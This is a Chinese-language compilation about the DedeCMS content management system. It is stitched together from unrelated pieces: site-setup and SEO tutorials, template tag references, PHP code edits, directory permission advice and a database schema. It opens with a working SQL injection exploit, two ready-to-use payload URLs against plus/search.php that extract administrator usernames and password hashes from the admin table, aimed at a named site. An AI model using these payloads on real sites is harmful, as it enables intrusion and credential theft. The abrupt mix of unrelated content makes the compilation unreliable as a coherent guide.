提交 mumaasp.com/plus/search.php?keyword=as&typeArr[1 uNion 1]=a

看结果如果提示
Safe Alert: Request Error step 2 !
那么直接用下面的exp
mumaasp.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

<img id="aimg_8657" src="http://img.90sec.org/forumid_10/1301192303ea6ea786298d3fbf.jpg" alt="QQ截图20130119225931.jpg" width="378" />

看结果如果提示
Safe Alert: Request Error step 1 !
那么直接用下面的exp
mumaasp.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

<img id="aimg_8658" src="http://img.90sec.org/forumid_10/130119230336d42cf361c166f0.jpg" alt="QQ截图20130119225757.jpg" width="600" />

如果正常显示证明漏洞不存在了。

二、默认本地已经配置好环境，解压，安装。

三、安装好后，预先修改织梦的文件，这样子方便做网站也有利于SEO（当然，不修改也可以）：

1）后台的基本设置：系统 —> 系统基本参数：文档HTML默认保存路径“把a去掉”

不使用会员系统的，把会员系统关掉。

文档默认点击数“设置为0”

图片水印设置也关闭或根据自己需求设定！

其它的看自己需求设置。

2）批量建栏目，要栏目的目录取字母的首字母，要修改dede/catalog.add.php文件

85行 $toptypedir = GetPinyin(stripslashes($toptypename));

修改为 $toptypedir = GetPinyin(stripslashes($toptypename),1);

108 行 $typedir = $toptypedir.'/'.GetPinyin(stripslashes($v));

修改为 $typedir = $toptypedir.'/'.GetPinyin(stripslashes($v),1);

134行  $toptypedir = GetPinyin(stripslashes($toptypename));

修改为 $toptypedir = GetPinyin(stripslashes($toptypename),1);

187行 $typedir = GetPinyin(stripslashes($typename));

修改为 $typedir = GetPinyin(stripslashes($typename),1);

在建栏目时，文章命名规则要改一下，织梦默认的名字太长。

建好栏目后因为上面的修改文件，可能路径会有两个//，例如：{cmspath}//zxjs，这时候用Phpmyadmin里用SQL工具替换下：

update dede_arctype set typedir=replace(typedir,'{cmspath}//','{cmspath}/')

update dede_arctype set tempindex=replace(tempindex,'{style}/index_article.htm','fuke/index_article.html')

update dede_arctype set templist=replace(templist,'{style}/list_article.htm','fuke/list_article.html')

update dede_arctype set temparticle=replace(temparticle,'{style}/article_article.htm','fuke/article_article.htm')

四、做好模板以后，应用上去，开始修改标签

  包含：

{dede:include filename="/web/header.html"/}

栏目调用：

{dede:channel type='son' row='8' typeid='1'}

<li><a href="[field:typelink/]">[field:typename/]</a></li>

 {/dede:channel}

文章调用：

{dede:arclist row='10' titlelen='24' orderby='pubdate' typeid='1' Keyword = '' idlist = ''  limit='起始ID,记录数'  flag = 'h' subday='天数' addfields='filetype,language,softtype'  channelid='17'}

  <li><a href="[field:arcurl/]" title="[field:title/]" target="_blank">[field:title  function="cn_substr('@me',40)"/]</a>[field:pubdate function=MyDate('m-d',@me)/]</li>

{/dede:arclist}

08                   [field:pubdate function=strftime('%d',@me)/]

08 日                [field:pubdate function=strftime('%d日',@me)/]

06-08                [field:pubdate function=strftime('%m-%d',@me)/]

06月08日             [field:pubdate function=strftime('%m月%d日',@me)/]

09-06-08             [field:pubdate function=strftime('%y-%m-%d',@me)/]

2009-06-08           [field:pubdate function=strftime('%Y-%m-%d',@me)/]

09年06月08日         [field:pubdate function=strftime('%y年%m月%d日',@me)/]

2009年06月08日       [field:pubdate function=strftime('%Y年%m月%d日',@me)/]

2009-06-08  13:28    [field:pubdate function=strftime('%Y-%m-%d %H:%M',@me)/]

文章加NEW：

[field:senddate runphp='yes']

$ntime = time();

$oneday = 3600 * 24;

if(($ntime - @me)<$oneday) @me = "<font color='red'>(new)</font>";

else @me = "";

[/field:senddate]

列表页调用：

{dede:list titlelen='' infolen='' orderby='' pagesize=''}

<li><a href="[field:arcurl/]" title="[field:title/]" target="_blank">[field:title  function="cn_substr('@me',40)"]</a>[field:pubdate function=MyDate('m-d',@me)/]</li>

{/dede:list}

文章页调用：

{dede:field.title/}

发布时间：{dede:field.pubdate function="MyDate('Y-m-d H:i',@me)"/}

来源：{dede:field.source/}

查看次数：<script src="{dede:field name='phpurl'/}/count.php?view=yes&aid={dede:field name='id'/}&mid={dede:field name='mid'/}" type='text/javascript' language="javascript"></script>

编辑：{dede:adminname/}

作者：{dede:field.writer/}

{dede:field.body/}

{dede:pagebreak/}

{dede:prenext get='pre'/}

{dede:prenext get='next'/}

{dede:likearticle row='5' titlelen='80' eregtype='all|tag|keyword'}                  

    <p>·<a href="[field:arcurl/]">[field:title/]</a></p>

{/dede:likearticle}

会员信息：

{dede:memberinfos}

 发布者资料  

<a href="[field:spaceurl /]" class="userface"><img src="[field:face/]" width="52" height="52" /></a> <a href='[field:spaceurl /]' class="username">[field:uname/]</a>

<a href="[field:spaceurl /]&action=guestbook">发送留言</a>

<a href="[field:spaceurl /]&action=newfriend">加为好友</a>

用户等级:[field:rankname /]

注册时间:[field:jointime function="MyDate('Y-m-d H:m',@me)"/]

最后登录:[field:logintime function="MyDate('Y-m-d H:m',@me)"/]
 {/dede:memberinfos}

标题关键词描述调用：

<title>{dede:global.cfg_webname/}_晋城人才招聘_晋城天气_晋城购物_晋城论坛_晋城信息_晋城旅游_晋城在线</title>

<meta name="keywords" content="{dede:global.cfg_keywords/}" />

<meta name="description" content="{dede:global.cfg_description/}" />

<link rel="alternate" type="application/rss+xml" title="" href="/rss.php"/>

<title>{dede:field.seotitle /}_{dede:global.cfg_webname/}</title>

<meta name="keywords" content="{dede:field.keywords/}" />

<meta name="description" content="{dede:field.description function='html2text(@me)'/}" />

栏目页如果想调一级栏目，二级栏目_一级栏目这样子调

<title>{dede:field name='position' runphp='yes'}

    $tc="_"; //分隔符

    $tw=$GLOBALS['cfg_list_symbol']; //调用位置分隔符

    @me=html2text(@me); //去除html标签

    $tf=split($tw,@me); //分解成数组

    for($ta=(count($tf)-2);$ta>=1;$ta--){ //循环赋值给$tk

$tk.=trim($tf[$ta]).$tc;

    }

    $tk=substr($tk,0,-1);

    @me=$tk; //赋值给@me

{/dede:field}-{dede:global name='cfg_webname'/}</title>

<meta name="keywords" content="{dede:field.keywords/}" />

<meta name="description" content="{dede:field.description function='html2text(@me)'/}" />

<title>{dede:field.title/}_{dede:type} [field:typename /]{/dede:type}_{dede:global.cfg_webname/}</title>

<meta name="keywords" content="{dede:field.keywords/}" />

<meta name="description" content="{dede:field.description function='html2text(@me)'/}" />

其它：

[field:job_people runphp='yes'] $c=@me;if($c=='0'){@me='若干';}else{@me=$c;}[/field:job_people]

{dede:field.designer_web runphp='yes'}$c=@me;if($c==''){@me='<a href="javascript:;">';}else{@me='<a href='."$c".' target="_blank">';}{/dede:field.designer_web}{dede:field.designer/}</a>

 图集：

{dede:field name='imgurls' alt='图片输出区'}

      [field:pagestyle runphp='yes'] @me= (@me==3 ? '<li>' : '');[/field:pagestyle]

      <a href='[field:linkurl/]' target='_blank' >

         <img src='[field:imgsrc/]' id='bigimg' [field:imgwidth /] alt='[field:alttext /]' border='0' />

      </a>

<!-- 如果使用的是多页单图模式(幻灯)把href里的链接改为 javascript:dPlayNext(); 表示点击看下一页 -->

       [field:alttext /]

 {/dede:field}

更多Tags请点击：更多

      目前在做雅酷网 ，雅酷卡是雅酷时空公司的产品，我个人感觉用雅酷卡消费还是比较实惠的，而雅酷卡的特色便是雅酷健身卡，很多站长成天的趴电脑上，可以考虑办一张这样的卡，在周末的时候去健身中心活动活动，还是比较不错的选择。 雅酷网是在dedecms的基础上开发的，虽然dedecms的文章系统比较棒，但是我们还需要一个商户的模型，而且对于数据处理方面，需求量比较大，于是我们对dedecms的数据库做了一些优化，尤其是对主表dede_archives做了分表，然后继续开发了一套关键词词库系统，商户自动采集系统和文章自动采集系统，你目前在http://www.yacol.net上看到的很多商户、文章，基本上都是靠这些采集系统来完成的，这些程序目前还不便于公开，以后可能会公布出来。今天以雅酷网为实例，从技术上讲讲我们在用Dedecms建站中都会注意些什么。希望对大家有一些帮助。

一、网站结构要清晰

我最烦那种能让人迷路的网站，所以我做网站之前都要先搞清楚网站需要什么功能，有什么栏目规划，每一个栏目是单页还是列表，大概需要几个页面，这些最基本的问题。网站的结构主要有网站树状结构、扁平状结构这两种。

1、网站树状结构：在网站的根目录下存在很多个网站的子频道（二级目录）、每个频道下都有自己的页面或内容。树状结构清晰的显示出网站的内容框架，方便搜索引擎对网站内容的抓取，树状结构适合中大型网站。

例如树状结构的网站频道：
http://www.yacol.net/baike/
http://www.yacol.net/shanghu/
http://www.yacol.net/card/

频道下又有属于其的页面：
http://www.yacol.net/baike/ydjs/
http://www.yacol.net/baike/ylxx/
http://www.yacol.net/baike/shfw/
http://www.yacol.net/baike/mrmt/

2、网站扁平结构：网站所有的页面都存在于根目录下，也可以说是域名下。扁平结构适用于中小型网站，例如博客、企业站等。树状结构适合于中大型网站使用！

例如扁平结构的网站：
www.yacol.net/a.html
www.yacol.net/b.html
www.yacol.net/c.html
www.yacol.net/d.html
www.yacol.net/e.html
www.yacol.net/f.html

对于雅酷网，我采用了比较常用的的树状结构，因为我个人一直比较偏向于树状结构，感觉这种结构比较清晰明了，用户容易理解。至于扁平结构我只用过一次，就是在陈海阳律师团队http://www.chenhaiyang.org里，因为那个站数据量太大，而dedecms在数据承载能力上还不够强悍，所以把那个站采用了伪静态。

列表页诸如 http://www.chenhaiyang.org/list31/
文章页诸如 http://www.chenhaiyang.org/view18/

二、网站路径的优化

Dedecms的文档HTML默认保存路径是放在跟目录的“a/”下面，我们在后台的“系统设置”→“系统基本参数”中可以将文档HTML默认保存路径改为了根目录下。直接一个“/”就可以了。默认的内容页面的路径应该是这样的：http://网站域名/a/webbase/dreamweaver/2010/0407/57.html，这样的URL层级太深了对SEO不利，我们需要修改下，我一般是修改成：http://网站域名/栏目名称/文章ID/，比如：http://www.yacol.net/baike/gongyuan/17279/。在添加或修改栏目的的面板中将文章命名规则修改为：{typedir}/{aid}/index.html就可以，去掉了{Y}/{M}{D}/（这个是显示：年/月日）。如果你的栏目层级本来就很深的话，比如我这里百科栏目下还细分了公园等子栏目，建议你可以把文章页面都放在一个目录下，则定类似为：baike/{aid}/index.html。这个规则都是可以自定义的，你觉得怎么对seo有利就怎么来吧。对于最先批量或者单个加栏目的时候，可能对于这里老是要一个个的去修改文章路径很不爽，其实有简单的方法可以处理：
打开/dede/templets/catalog_add.htm ，找到“文章命名规则”，把后面的

<input name="namerule" type="text" id="namerule" value="<?php echo $cfg_df_namerule;?>" class="pubinputs" style="width:250px" />

改为

<input name="namerule" type="text" id="namerule" value="{typedir}/{aid}/index.html" class="pubinputs" style="width:250px" />

或者打开/include/common.inc.php，找到“文档的默认命名规则”，把后面的

$art_shortname = $cfg_df_ext = '.html';
$cfg_df_namerule = '{typedir}/{Y}/{M}{D}/{aid}'.$cfg_df_ext;

改为

$art_shortname = $cfg_df_ext = '.html';
$cfg_df_namerule = '{typedir}/{aid}/index'.$cfg_df_ext;

如果是需要批量加栏目的话，则打开/dede/templets/catalog_add_quick.htm ，找到“文章命名规则”，把后面的

<input name="namerule" type="text" id="namerule" value="{typedir}/{Y}{M}{D}/{aid}.html" size="40" class="pubinputs" />

改为

<input name="namerule" type="text" id="namerule" value="{typedir}/{aid}/index.html" size="40" class="pubinputs" />

三、网页TITLE标签的修改

据说现在百度基本上都不看keyword了（当然我们不能不写），但是现在的关键在于网页上的title。所以一定要把title好好做做。主要是涉及到一个如何实现"三级栏目_二级栏目_一级栏目_网站名称"的问题。雅酷网的title基本上是这样做的：

首页：

<title>{dede:global.cfg_webname/}</title>，在“系统设置”→“系统基本参数”中将首页的标题信息都写在网站名称里面。

栏目页：

找到include/typelink.class.php第164行左右，找到

$this->valuePositionName = $tinfos['typename'].$this->SplitSymbol.$this->valuePositionName;

修改为：

$this->valuePositionName = $this->valuePositionName.$this->SplitSymbol.$tinfos['typename'];

接下来将列表页模板上默认的标题标签

<title>{dede:field.title/} - {dede:global.cfg_webname/}</title>

修改为：

<title><title>{dede:field.seotitle /} {dede:field.title function='ereg_replace(" - "," - ",@me)'/} - {dede:global.cfg_webname/}</title>

即可。

第一个标签{dede:field.seotitle /} 是调用栏目的SEO标题。如果您对栏目中间的连接符不满意，可以修改include/arc.listview.class.php，找到55行

$this->Fields['title'] = ereg_replace("[<>]"," / ",$this->TypeLink->GetPositionLink(false));

把 / 删除 注意留一个空格 " "

文章页：

<title>{dede:field.seotitle/} {dede:field name='title'/}-{dede:field name='position' runphp='yes'}

$tc="-"; //分隔符

$tw=$GLOBALS['cfg_list_symbol']; //调用位置分隔符

@me=html2text(@me); //去除html标签

$tf=split($tw,@me); //分解成数组

for($ta=(count($tf)-2);$ta>=1;$ta--){ //循环赋值给$tk

$tk.=trim($tf[$ta]).$tc;

}

$tk=substr($tk,0,-1);

@me=$tk; //赋值给@me

{/dede:field}-{dede:global name='cfg_webname'/}</title>

效果：实现"三级栏目_二级栏目_一级栏目_网站名称"。其中简略标题{dede:field.seotitle/}用来做什么呢，没错---长尾关键词。

四、完美的内链建设

网站自动给关键字加上链接：这个功能很爽，可以预先设定一些你网站的关键词和对应的链接，以后每次加文章的时候都自动给锚文本加上链接，其实这个就是一个替换的功能。之前有在我的博客讲过如何做好dedecms的内链建设 （http://www.guoxiongjie.com/web/95/），现在再重复一遍：

1、后台>系统>系统基本参数>核心设置>关键字替换（是/否），这里选择“是”。

2、后台>系统>系统基本参数>其他选项>文档内容同一关键词替换次数(0为全部替换)： 1

3、后台>采集>文档关键词维护, 在这里面设置关键词以及指向网址的链接。

但是这里有个问题，这个只是在添加文章时，在 关键字： 一栏里填写的关键字才有链接，而文章里出现的其他"文档关键字"是不会被加上链接的。怎么才能让其他关键字也被加上链接呢？

打开/include/arc.archives.class.php，找到

foreach($kws as $k)
{
$k = trim($k);
if($k!="")
{
if($i > $maxkey)
{
break;
}
$myrow = $this->dsql->GetOne("select * from dede_keywords where keyword='$k' And rpurl<>'' ");
if(is_array($myrow))
{
$karr[] = $k;
$GLOBALS['replaced'][$k] = 0;
$kaarr[] = "<a href='{$myrow['rpurl']}'><u>$k</u></a>";
}
$i++;
}
}

替换成：

$dsql = new DedeSql(false);
$query="select * from dede_keywords where rpurl<>'' ";
$dsql->SetQuery($query);
$dsql->Execute();
while($row = $dsql->GetArray())
{
$key = trim($row['keyword']);
$rul=trim($row['rpurl']);
if($rul!="")
if(!in_array($key, $kw))
if(!in_array($kw,$key))
if(substr_count($body,$key)<10)
{
$karr[] = $key;
$kaarr[] = "<a href='$rul'><u>$key</u></a>";
}
}

修改之后，在后台的“核心”→“批量维护 ”→“文档关键词维护 ”，比如雅酷网中，我可以新增关键字：运动；链接网址：http://www.yacol.net/ydjs/jianshen/。要注意的是，在设置关键词的时候，尽量不要用那些宽泛的词，比如运动这个词。我给“运动健身”这个词加了链接，要是“运动”再加一个链接的话，那么就乱了。所以我们尽量的不要使用太宽泛的词，避免重复。实例可以看这个页面：http://www.yacol.net/baike/yujia/17205/ 。

另外在文章页上，还可以加上相关文章来提高文章相关关键词的密度。相关文章的调用代码是：

{dede:likearticle row='10' titlelen='4' eregtype=all|tag|keyword}
<li><a href="field:arcurl/]"_fcksavedurl=""field:arcurl/]" target="_blank">·[field:title/]</a></li>
{/dede:likearticle}

还可以在文章正文头部调用该文章的tags，调用标签是 {dede:field.tags/} ，但是dedecms的默认在文章调用该文章的tags是不带链接的，这里介绍一种让tag自动带链接的方法（http://www.guoxiongjie.com/web/83/）（只需要按照下面方法修改，文章模板页上的tags调用标签不用变）：

打开include/common.func.php ，大约755行，找到

//获得某文档的所有tag
function GetTags($aid)
{
global $dsql;
$tags = '';
$query = "Select tag From `dede_taglist` where aid='$aid' ";
$dsql->Execute('tag',$query);
while($row = $dsql->GetArray('tag'))
{
$tags .= ($tags=='' ? $row['tag'] : ','.$row['tag']);
}
return $tags;
}

修改为

//获得某文档的所有tag
function GetTags($aid)
{
global $dsql;
$tags = '';
$query = "Select tag From `dede_taglist` where aid='$aid' ";
$dsql->Execute('tag',$query);
while($row = $dsql->GetArray('tag'))
{
$tags.= ($tags=='' ? "<a href=/tags.php?/{$row['tag']} target=_blank>{$row['tag']}</a>" : ','."<a href=/tags.php?/{$row['tag']} target=_blank>{$row['tag']}</a>");
}
return $tags;
}

五、做好sitemap、rss、tags
先看看雅酷网的sitemap、rss、tags是如何做的：

Sitemap：http://www.yacol.net/sitemap/
rss：http://www.yacol.net/data/rssmap.html
tags：http://www.yacol.net/tags.php

一定要重视这三方面的建设，因为他们是去全站各个页面的链接纲领。另外介绍一下修改他们的路径的方法，其实之前也有在我的博客里讲到过的《如何修改dedecms的网站地图sitemap的路径？》（http://www.guoxiongjie.com/web/93/）、《如何修改dedecms的tags.php的路径？》（http://www.guoxiongjie.com/web/59/）。

1、修改dedecms的sitemap的默认路径的方法：
打开/dede/makehtml_map.php，找到

if($dopost=="site")

{

$murl = $cfg_cmspath."/data/sitemap.html";

$tmpfile = $cfg_basedir.$cfg_templets_dir."/plus/sitemap.htm";

}

如果你要修改形如：http://www.guoxiongjie.com/sitemap.html ，则把上面的代码修改为：

if($dopost=="site")

{

$murl = $cfg_cmspath."/sitemap.html";

$tmpfile = $cfg_basedir.$cfg_templets_dir."/plus/sitemap.htm";

}

如果你要修改形如：http://www.guoxiongjie.com/sitemap/ ，则在根目录下建一个空文件夹，取名为sitemap（或者其他名字），然后把上面的代码修改为：

if($dopost=="site")

{

$murl = $cfg_cmspath."/sitemap/index.html";

$tmpfile = $cfg_basedir.$cfg_templets_dir."/plus/sitemap.htm";

}

以上为sitemap路径的修改方法，另外，我们要做到满意的状态，我们还需要修改sitemap的模板，即/templets/plus/sitemap.htm，以及/include/sitemap.class.php 这一个文件。

2、修改dedecms的tags.php的路径的方法：

默认的dedecms中，tags.php是在根目录下。但是如果两个程序都放在根目录下就可能出问题，比如据说，discuz和dedecms同在根目录下的话，dedecms里的tags.php和discuz里的index.php就会发生冲突。

（1）、在根目录下建立一个tags文件夹，把之前的tags.php放到这个tags的文件夹下，并重命名为index.php。

打开这个index.php，第二行代码如下：

require_once (dirname(__FILE__) . "/include/common.inc.php");

将它修改为：

require_once (dirname(__FILE__) . "/../include/common.inc.php");

（2）、打开/include/taglib/tag.lib.php，找到如下代码：

$row['link'] = $cfg_cmsurl."/tags.php?/".urlencode($row['keyword'])."/";

将它修改为：

$row['link'] = $cfg_cmsurl."/tags/index.php?".urlencode($row['keyword'])."";

现在试着打开 /tags/index.php 。

本文首发郭黑黑织梦博客 http://www.guoxiongjie.com ，然后发布到雅酷网http://www.yacol.net ，然后发布到A5 http://www.admin5.com 等。转摘请保留网址。谢谢！

/ 【站点根目录】
//需要执行和读取权限 如果要在根目录下面创建文件和目录的话需要有写入权限 //0755

/install 【安装程序目录】
//需要有执行和读取权限 //建议安装完成以后删除或者改名 //0555

/dede 【后台程序目录】
//需要有执行权限和读取权限 //建议安装完成以后修改目录名称 //0755

/member 【会员目录】
//需要执行读取和权限 //建议去掉写入权限以及修改权限//0555

/include 【主程序目录】
//需要有写入、执行权限和读取权限 //0755 //建议在第一次安装后，去掉写入权限以及修改权限（需要重写配置文件时再暂时开启写入及修改权限）//0555

/plus 【插件目录】
//需要有读取、写入和执行的权限 //建议在生成完站点地图和RSS文件后去掉写入权限以及修改权限 //0755

/data 【站点缓存数据等文件】
//需要有读取权限和写入修改权限 //建议去掉执行权限//0755
/sessions
//需要有读取、写入、修改 和 执行权限 //建议权限为:0777

/html 【HTML文档默认目录】
//需要有读取修改和创建权限 //建议去掉执行权限 //0666

/templets【模板目录】
//需要有读取 修改写入 权限 //建议去掉执行权限 //0666

/uploads 【附件目录】
//需要写入读取权限 //建议去掉执行权限//0666

/company 【企业黄页程序目录】
//需要读取和执行权限 //建议去掉写入权限//0555

/special 【专题文件目录】
//需要执行、读取、写入和修改权限 //0755

/book 【书库模块程序目录】
//需要执行、读取、写入和修改权限 //0755

/ask 【问答模块程序目录】
//需要执行和读取权限 //建议去掉写入权限//0555

/group 【圈子模块程序目录】
//需要执行和读取权限 //建议去掉写入权限 //0555

/include目录 程序核心目录

config_base.php 环境定义文件。用于检测系统环境，定义工作目录，保存数据库链接信息，引入常用函数等，建议不要修改。
config_hand.php 系统配置文件。定义系统常用的配置信息定义，可从后台管理直接生成该文件。
config_passport.php 通行证文件
config_rglobals.php 检测系统外部变量
config_rglobals_magic.php 同上
inc_archives_view.php 用于浏览文档或对文档生成HTML
inc_arclist_view.php 用于浏览频道列表或对内容列表生成HTML
inc_arcmember_view.php 用于浏览会员发布的文档
inc_arcpart_view.php 用于解析和创建全局性质的模板，如频道封面，主页，单个页面等
inc_arcsearch_view.php 用于文档搜索
inc_arcspec_view.php 用于浏览所有专题列表或对专题列表生成HTML
inc_channel_unit.php 用户解析特定频道的附加数据结构信息
inc_channel_unit_functions.php 系统共用函数集合
inc_downclass.php 防采集随机字符串函数
inc_freelist_view.php 用于对特定内容列表生成HTML
inc_functions.php 可供用户使用的函数集合
inc_imgbt.php GetTypeidSelMember
inc_memberlogin.php 用于用户登录及获得会员状态
inc_photograph.php 用于处理系统中的图片，例如水印，缩略图等
inc_photowatermark_config.php 图片处理参数定义
inc_rss_view.php 用于浏览频道RSS或对RSS生成静态文件
inc_separate_functions.php SpGetArcList函数，用于获得文档列表
inc_sitemap.php 用于生成网站地图
inc_type_tree.php 用于选择栏目的目录树
inc_type_tree_member.php 同上，会员使用
inc_typelink.php 用于显示文章的位置和栏目位置等
inc_typeunit_admin.php 用于频道管理时的一些复杂操作，主要用于后台
inc_typeunit_menu.php 同上
inc_userlogin.php 用于管理员登录
inc_vote.php 用于管理投票
jump.php 用于超链接跳转
pub_charset.php 共用字符处理函数，GB/UTF-8/Unicode/BIG5等互换
pub_collection.php 用于采集
pub_collection_functions.php 采集用函数
pub_datalist.php 后台管理用数据列表
pub_datalist_dm.php 同上，不使用模板
pub_db_mysql.php 用于操作数据库
pub_dedehtml2.php 用于采集中的HTML解析
pub_dedehtml.php HTML解析器
pub_dedetag.php 用于dede模板标签解析
pub_httpdown.php 用于下载http中的资源
pub_oxwindow.php 后台程序扩展
pub_splitword_www.php 织梦分词算法
validateimg.php 验证码
vdimgck.php 验证码

/inc 共用函数目录

inc_fun_funAdmin.php 获取拼音码等函数
inc_fun_funString.php html代码处理等函数
inc_fun_SpGetArcList.php 获取文档列表SpGetArcList
对于菜鸟来说，对于菜鸟来说，config_base.php，这个文件，当你的程序出现问题，需要覆盖，当你的程序出现问题，需要覆盖。不要覆盖 config_base.php和config_hand.php文件，里面都是dede一些核心配置文件，对于高手来说，也许修改几个php页面已经达不到目的了，就需要了解dede的数据库结构，下面是部分关键数据表的结构和说明，不完全，还没有整理完全，过几天发布完整版本

主要数据结构表
已经可以指导开发了
dede_addonarticle　　　附加文章表
aid int(11) 文章编号
typeid int(11) 分类栏目编号
body mediumtext 文章内容
dede_addonflash 附加Flash表
aid int(11) FLASH编号
typeid int(11) 分类栏目编号
filesize varchar(10) 文件大小
playtime varchar(10) 播放时长
flashtype varchar(10) 作品类型
flashrank smallint(6) 作品等级
width smallint(6) 影片宽度
height smallint(6) 影片高度
flashurl varchar(80) FLASH地址
dede_addonimages 附加图集表
aid int(11) 图集编号
typeid int(11) 分类栏目编号
pagestyle smallint(6) 表现方式（1单页显示 2分多页显示 3多行多列展示）
maxwidth smallint(6) 大图限制宽度
imgurls text 图片集内容（标签存放）
row smallint(6) 多列式参数（行）
col smallint(6) 多列式参数（列）
isrm smallint(6) 是否下载远程图片
ddmaxwidth smallint(6) 小图片宽度限制
dede_addonsoft 附加软件表
aid int(11) 软件编号
typeid int(11) 分类栏目编号
filetype varchar(10) 文件类型
language varchar(10) 界面语言
softtype varchar(10) 软件类型
accredit varchar(10) 授权方式
os varchar(30) 运行环境
softrank int(11) 软件等级
officialUrl varchar(30) 官方网址
officialDemo varchar(50) 程序演示地址
softsize varchar(10) 软件大小
softlinks text 软件下载链接列表
introduce text 软件介绍
dede_addonspec 附加专题表
aid int(11) 专题编号
typeid int(11) 分类栏目编号
note text 专题内容（仅存放标签代码）
dede_admin 管理员信息表
ID int(10) 自动编号
usertype int(10) 用户类型
userid varchar(30) 用户登录ID
pwd varchar(50) 用户密码
uname varchar(20) 用户笔名
tname varchar(30) 真实姓名
email varchar(30) 电子邮箱
typeid int(11) 负责频道（0表示全部）
logintime datetime 登录时间
loginip varchar(20) 登录IP
dede_admintype 系统用户组管理表
rank smallint(6) 组级别编号
typename varchar(30) 组名称
system smallint(6) 是否为系统默认组
purviews text 权限列表
dede_arcatt 文档自定义属性表
att smallint(6) 编号
attname varchar(30) 属性名称
dede_archives 文章表
ID int(11) 自动编号
typeid int(11) 所属主栏目编号
typeid2 int(11) 所属副栏目编号
sortrank int(11) 文章排序（置顶方法）
iscommend smallint(6) 是否推荐
ismake smallint(6) 是否生成静态
channel int(11) 文章所属模型
arcrank smallint(6) 阅读权限
click int(11) 点击次数
money smallint(6) 消费点数
title varchar(80) 标题
shorttitle varchar(36) 简略标题
color varchar(10) 标题颜色
writer varchar(30) 作者
source varchar(50) 来源
litpic varchar(100) 缩略图
pubdate int(11) 录入时间
senddate int(11) 发布时间
arcatt smallint(6) 自定属性（att）
adminID int(11) 发布管理员ID
memberID int(11) 发布会员ID
description varchar(250) 摘要
keywords varchar(60) 关键词
templet varchar(60) 文档模板
lastpost int(11) 最近评论时间
postnum int(11) 评论数目
redirecturl varchar(150) 跳转网址
mtype int(11) 用户自定义分类
userip varchar(20) 用户IP
locklikeid smallint(6) 是否锁定相关文章
likeid varchar(240) 相关文章ID
dede_arcrank 阅读权限表
ID int(10) 自动编号
rank smallint(10) 权限等级
membername varchar(20) 等级名称
adminrank smallint(10) 管理等级
money int(11) 消费点数
dede_arctype 栏目管理表
ID int(10) 栏目编号（自动编号）
reID int(10) 父栏目编号
topID int(10) 　
sortrank smallint(6) 排序编号
typename varchar(30) 栏目名称
typedir varchar(100) 栏目目录
isdefault smallint(6) 栏目列表选项（1链接到默认页 0链接到列表第一页 -1使用动态页）
defaultname varchar(20) 默认页的名称
issend smallint(6) 是否支持投稿
channeltype smallint(6) 频道类型
maxpage int(11) 保留
ispart smallint(6) 栏目属性
corank smallint(6) 浏览权限
tempindex varchar(60) 封面模板
templist varchar(60) 列表模板
temparticle varchar(60) 文章模板
tempone varchar(60) 单独页面模板
namerule varchar(50) 文章命名规则
namerule2 varchar(50) 列表命名规则
modname varchar(30) 模板名称
description varchar(200) 栏目介绍
keywords varchar(100) 关键词
moresite smallint(6) 多站点支持
siterefer smallint(6) 多站点站点根目录属性
sitepath varchar(60) 多站点站点根目录
siteurl varchar(60) 多站点绑定域名
ishidden smallint(6) 是否隐藏栏目
dede_area 地区表
eid int(11) 地区编号
name varchar(20) 地区名称
rid int(11) 编号属性